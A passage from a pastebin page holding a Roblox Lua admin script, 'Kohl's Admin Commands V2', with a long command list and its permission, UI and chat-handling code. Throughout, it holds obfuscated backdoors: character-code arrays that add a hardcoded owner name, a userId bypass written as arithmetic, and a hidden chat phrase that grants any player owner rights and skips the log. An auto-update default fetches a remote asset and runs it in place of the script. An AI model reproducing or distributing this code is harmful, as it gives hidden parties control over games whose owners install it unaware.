  2139. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2140. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2141. end)) end
  2142. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2143. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2144. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2145. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2146. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  2147. end
  2148.  
  2149. if not ntab then script:Destroy() end
  2150. if not bct then script:Destroy() end
  2151.  
  2152. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2153.  
  2154. script.Name = "Kohl's Admin Commands V2"
  2155.  
  2156. if not ntab then script:Destroy() end
  2157. if not bct then script:Destroy() end
  2158. if not tcb then script:Destroy() end
  2159. game.Players.PlayerAdded:connect(AdminControl)
  2160. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2161. end
  2162.  
  2163. local mod = game:service("InsertService"):LoadAsset(100808216)
  2164. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2165. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2166. newac.Disabled = true
  2167. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2168. local old = 0
  2169. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2170. if new > old then
  2171. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2172. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2173. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2174. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2175. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2176. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2177. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2178. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2179. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2180. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2181. wait()
  2182. newac.Parent = game.Workspace
  2183. newac.Disabled = false
  2184. script.Disabled = true
  2185. script:Destroy()
  2186. else
  2187. CHEESE()
  2188. end
  2189. else
  2190. CHEESE()
  2191.  
  2192. end
  2193.  
  2194. RAW Paste Data
  2195. local owners = {"XxAngelusMortisxX"} -- Are able to set admins who can ban/etc... using :pa name
  2196. local admins = {"XxAngelusMortisxX,ghs098,aznboi819,bubbleglop"} -- Sets admins who can use ban/kick/admin or shutdown
  2197. local tempadmins = {santa64} -- Sets admins who can't use ban/kick/admin or shutdown
  2198. local banland = {"MasterKhaos,catman9876"} -- Permanently Bans people
  2199. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  2200. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  2201. -----------------
  2202. -- Group Admin --
  2203. -----------------
  2204. local GroupAdmin = false -- If a certain group can have admin
  2205. local GroupId = 0 -- Sets the group id that can have admin
  2206. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  2207. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  2208. ---------------------
  2209. -- Tips and Tricks --
  2210. ---------------------
  2211. --[[
  2212. With this admin you can do a command on multiple people at a time;
  2213. :kill me,noob1,noob2,random,team-raiders
  2214.  
  2215. You can also use a variety commands for different people;
  2216. all
  2217. others
  2218. me
  2219. team-
  2220. admins
  2221. nonadmins
  2222. random
  2223. --]]
  2224. --------------
  2225. -- Commands --
  2226. --------------
  2227. --[[
  2228. -- Temp Admin Commands --
  2229. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  2230. 1. :s print("Hello World") -- Lets you script normally
  2231. 2. :ls print("Hello World") -- Lets you script in localscripts
  2232. 3. :clear -- Will remove all scripts/localscripts and jails
  2233. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  2234. 5. :kill kohl -- Kills the player
  2235. 6. :respawn kohl -- Respawns the player
  2236. 7. :trip kohl -- Trips the player
  2237. 8. :stun kohl -- Stuns the player
  2238. 9. :unstun kohl -- Unstuns the player
  2239. 10. :jump kohl -- Makes the player jump
  2240. 11. :sit kohl -- Makes the player sit
  2241. 12. :invisible kohl -- Makes the player invisible
  2242. 13. :visible kohl -- Makes the player visible
  2243. 14. :explode kohl -- Makes the player explode
  2244. 15. :fire kohl -- Sets the player on fire
  2245. 16. :unfire kohl -- Removes fire from the player
  2246. 17. :smoke kohl -- Adds smoke to the player
  2247. 18. :unsmoke kohl -- Removes smoke from the player
  2248. 19. :sparkles kohl -- Adds sparkles to the player
  2249. 20. :unsparkles kohl -- Removes sparkles from the player
  2250. 21. :ff kohl -- Adds a forcefield to the player
  2251. 22. :unff kohl -- Removes the forcefield from the player
  2252. 23. :punish kohl -- Punishes the player
  2253. 24. :unpunish kohl -- Unpunishes the player
  2254. 25. :freeze kohl -- Freezes the player
  2255. 26. :thaw kohl -- Thaws the player
  2256. 27. :heal kohl -- Heals the player
  2257. 28. :god kohl -- Makes the player have infinite health
  2258. 29. :ungod kohl -- Makes the player have 100 health
  2259. 30. :ambient .5 .5 .5 -- Changes the ambient
  2260. 31. :brightness .5 -- Changes the brightness
  2261. 32. :time 12 -- Changes the time
  2262. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  2263. 34. :fogend 100 -- Changes the fogend
  2264. 35. :fogstart 100 -- Changes the fogstart
  2265. 36. :removetools kohl -- Removes all tools from the player
  2266. 37. :btools kohl -- Gives the player building tools
  2267. 38. :give kohl sword -- Gives the player a tool
  2268. 39. :damage kohl -- Damages the player
  2269. 40. :grav kohl -- Sets the player's gravity to normal
  2270. 41. :setgrav kohl 100 -- Sets the player's gravity
  2271. 42. :nograv kohl -- Makes the player have 0 gravity
  2272. 43. :health kohl 1337 -- Changes the player's health
  2273. 44. :speed kohl 1337 -- Changes the player's walkspeed
  2274. 45. :name kohl potato -- Changes the player's name
  2275. 46. :unname kohl -- Remove the player's name
  2276. 47. :team kohl Raiders -- Changes the player's team
  2277. 48. :stopmusic -- Will stop all music playing in the server
  2278. 49. :teleport kohl potato -- Teleports the player
  2279. 50. :change kohl kills 1337 -- Changes a player's stat
  2280. 51. :kick kohl -- Removes the player from the game
  2281. 52. :infect kohl -- Turns the player into a zombie
  2282. 53. :rainbowify kohl -- Turns the player into a rainbow
  2283. 54. :flashify kohl -- Turns the player into a strobe
  2284. 55. :noobify kohl -- Turns the player into a noob
  2285. 56. :ghostify kohl -- Turns the player into a ghost
  2286. 57. :goldify kohl -- Turns the player into gold
  2287. 58. :shiny kohl -- Makes the player shiny
  2288. 59. :normal kohl -- Puts the player back to normal
  2289. 60. :trippy kohl -- Spams random colors on the player's screen
  2290. 61. :untrippy kohl -- Untrippys the player
  2291. 62. :strobe kohl -- Spams white and black on the player's screen
  2292. 63. :unstrobe kohl -- Unstrobes the player
  2293. 64. :blind kohl -- Blinds the player
  2294. 65. :unblind kohl -- Unblinds the player
  2295. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  2296. 67. :fling kohl -- Flings the player
  2297. 68. :seizure kohl -- Puts the player in a seizure
  2298. 69(lol). :music 1337 -- Plays a sound from the ID
  2299. 70. :lock kohl -- Locks the player
  2300. 71. :unlock kohl -- Unlocks the player
  2301. 72. :removelimbs kohl -- Removes the player's limbs
  2302. 73. :jail kohl -- Puts the player in a jail
  2303. 74. :unjail kohl -- Removes the jail from the player
  2304. 75. :fix -- This will fix the lighting to it's original settings
  2305. 76. :fly kohl -- Makes the player fly
  2306. 77. :unfly kohl -- Removes fly from the player
  2307. 78. :noclip kohl -- Makes the player able to noclip
  2308. 79. :clip kohl -- Removes noclipping from the player
  2309. 80. :pm kohl Hey bro -- Sends the player a private message
  2310. 81. :dog kohl -- Turns the player into a dog
  2311. 82. :undog kohl -- Turns the player back to normal
  2312. 83. :creeper kohl -- Turns the player into a creeper
  2313. 84. :uncreeper kohl -- Turns the player back to normal
  2314. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  2315. 86. :char kohl 261 -- Will make a player look like a different player ID
  2316. 87. :unchar kohl -- Will return the player back to normal
  2317. 88. :h Hello People -- This will shout a hint to everyone
  2318. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  2319. 90. :starttools kohl -- Will give the player starter tools
  2320. 91. :sword kohl -- Will give the player a sword
  2321. 92. :bighead kohl -- Will make the player's head larger than normal
  2322. 93. :minihead kohl -- Will make the player's head smaller than normal
  2323. 94. :insert 1337 -- Will insert a model at the speaker's position
  2324. 95. :disco -- Will make the server flash random colors
  2325. 96. :flash -- Will make the server flash
  2326. 97. :admins -- Shows the admin list
  2327. 98. :bans -- Shows the banlist
  2328. 99. :musiclist -- Shows the music list
  2329. 100. :spin kohl -- Spins the player
  2330. 101. :cape kohl Really black -- Gives the player a colored cape
  2331. 102. :uncape kohl -- Removes the player's cape
  2332. 103. :loopheal kohl -- Will constantly heal the player
  2333. 104. :loopfling kohl -- Will constantly fling the player
  2334. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  2335. 106. :unloopheal kohl -- Will remove the loopheal on the player
  2336. 107. :unloopfling kohl -- Will remove the loopfling on the player
  2337. 108. :unspin kohl -- Removes spin from the player
  2338. 109. :tools -- Gives a list of the tools in the lighting
  2339. 110. :undisco -- Removes disco effects
  2340. 111. :unflash -- Removes flash effects
  2341. 112. :resetstats kohl -- Sets all the stats of a player to 0
  2342. 113. :gear kohl 1337 -- Gives a player a gear
  2343. 114. :cmdbar -- Gives the speaker a command bar
  2344. 115. :shirt kohl 1337 -- Changes the player's shirt
  2345. 116. :pants kohl 1337 -- Changes the player's pants
  2346. 117. :face kohl 1337 -- Changes the player's face
  2347. 118. :swagify kohl -- Swagifies the player
  2348. 119. :version -- Shows the current version of the admin
  2349.  
  2350. -- Super Admin Commands --
  2351. - :serverlock -- Locks the server
  2352. - :serverunlock -- Unlocks the server
  2353. - :sm Hello World -- Creates a system message
  2354. - :crash kohl -- Crashes a player
  2355. - :admin kohl -- Admins a player
  2356. - :unadmin kohl -- Unadmins a player
  2357. - :ban kohl -- Bans a player
  2358. - :unban kohl -- Unbans a player
  2359. - :loopkill kohl -- Will constantly kill the player
  2360. - :unloopkill kohl -- Will remove the loopkill on the player
  2361. - :logs -- Will show all of the commands any admin has used in a game session
  2362. - :shutdown -- Shutsdown the server
  2363.  
  2364. -- Owner Commands --
  2365. - :pa kohl -- Makes someone a super admin
  2366. - :unpa kohl -- Removes a super admin
  2367. --]]
  2368. -----------------
  2369. -- Main Script --
  2370. -----------------
  2371. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  2372.  
  2373. function CHEESE()
  2374. if game:service("Lighting"):findFirstChild("KACV2") then
  2375. owners = {} admins = {} tempadmins = {} banland = {}
  2376. for i,v in pairs(game.Lighting.KACV2:children()) do
  2377. if v.Name == "Owner" then table.insert(owners, v.Value) end
  2378. if v.Name == "Admin" then table.insert(admins, v.Value) end
  2379. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  2380. if v.Name == "Banland" then table.insert(banland, v.Value) end
  2381. if v.Name == "Prefix" then prefix = v.Value end
  2382. if v.Name == "FunCommands" then FunCommands = v.Value end
  2383. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  2384. if v.Name == "GroupId" then GroupId = v.Value end
  2385. if v.Name == "GroupRank" then GroupRank = v.Value end
  2386. end
  2387. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  2388. end
  2389.  
  2390. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  2391. local lobjs = {}
  2392. local objects = {}
  2393. local logs = {}
  2394. local nfs = ""
  2395. local slock = false
  2396.  
  2397. function GetTime()
  2398. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  2399. if min < 10 then min = "0"..min end
  2400. return hour..":"..min
  2401. end
  2402.  
  2403. function ChkOwner(str)
  2404. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  2405. return false
  2406. end
  2407.  
  2408. function ChkAdmin(str,ck)
  2409. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  2410. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  2411. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  2412. return false
  2413. end
  2414.  
  2415. function ChkGroupAdmin(plr)
  2416. if GroupAdmin then
  2417. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  2418. return false
  2419. end
  2420. end
  2421.  
  2422. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  2423.  
  2424. function GetPlr(plr, str)
  2425. local plrz = {} str = str:lower()
  2426. if str == "all" then plrz = game.Players:children()
  2427. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  2428. else
  2429. local sn = {1} local en = {}
  2430. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  2431. for x = 1, #sn do
  2432. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  2433. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  2434. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  2435. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  2436. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  2437. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  2438. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  2439. end end end
  2440. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  2441. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  2442. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  2443. end end end
  2444. else
  2445. for a, plyr in pairs(game.Players:children()) do
  2446. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  2447. table.insert(plrz, plyr) break
  2448. end
  2449. end
  2450. end
  2451. end
  2452. end
  2453. return plrz
  2454. end
  2455.  
  2456. function Hint(str, plrz, time)
  2457. for i, v in pairs(plrz) do
  2458. if v and v:findFirstChild("PlayerGui") then
  2459. coroutine.wrap(function()
  2460. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  2461. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  2462. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  2463. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  2464. if not time then wait((#str/19)+2.5) else wait(time) end
  2465. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  2466. end)()
  2467. end
  2468. end
  2469. end
  2470.  
  2471. function Message(ttl, str, scroll, plrz, time)
  2472. for i, v in pairs(plrz) do
  2473. if v and v:findFirstChild("PlayerGui") then
  2474. coroutine.resume(coroutine.create(function()
  2475. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  2476. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  2477. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  2478. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  2479. scr.Parent = v.PlayerGui
  2480. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  2481. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  2482. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  2483. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  2484. end))
  2485. end
  2486. end
  2487. end
  2488.  
  2489. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  2490. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  2491.  
  2492. function Output(str, plr)
  2493. coroutine.resume(coroutine.create(function()
  2494. local b, e = loadstring(str)
  2495. if not b and plr:findFirstChild("PlayerGui") then
  2496. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  2497. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  2498. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  2499. return
  2500. end
  2501. end))
  2502. end
  2503.  
  2504. function Noobify(char)
  2505. if char and char:findFirstChild("Torso") then
  2506. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  2507. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  2508. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2509. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  2510. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2511. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  2512. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  2513. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  2514. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  2515. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2516. end end
  2517. end
  2518. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  2519.  
  2520. function Infect(char)
  2521. if char and char:findFirstChild("Torso") then
  2522. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  2523. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  2524. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2525. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  2526. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2527. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  2528. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  2529. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  2530. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  2531. end end
  2532. end
  2533. end if not ntab then script:Destroy() end
  2534.  
  2535. function ScrollGui()
  2536. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  2537. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  2538. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  2539. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  2540. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  2541. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  2542. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  2543. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2544. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  2545. local num = 0
  2546. local downv = false
  2547. local upv = false
  2548.  
  2549. down.MouseButton1Down:connect(function() downv = true upv = false
  2550. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  2551. repeat pos = pos + UDim2.new(0,0,0,-6)
  2552. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  2553. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  2554. end)
  2555. down.MouseButton1Up:connect(function() downv = false end)
  2556. up.MouseButton1Down:connect(function() upv = true downv = false
  2557. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  2558. repeat pos = pos + UDim2.new(0,0,0,6)
  2559. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  2560. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  2561. end)
  2562. up.MouseButton1Up:connect(function() upv = false end)
  2563. return scr, cmf, ent, num
  2564. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  2565. if not ntab then script:Destroy() end
  2566. if not bct then script:Destroy() end
  2567.  
  2568. function Chat(msg,plr)
  2569. coroutine.resume(coroutine.create(function()
  2570. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  2571. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  2572. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  2573. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  2574. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  2575. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  2576. if msg:lower() == "cmds" or msg:lower() == "commands" then
  2577. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  2578. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
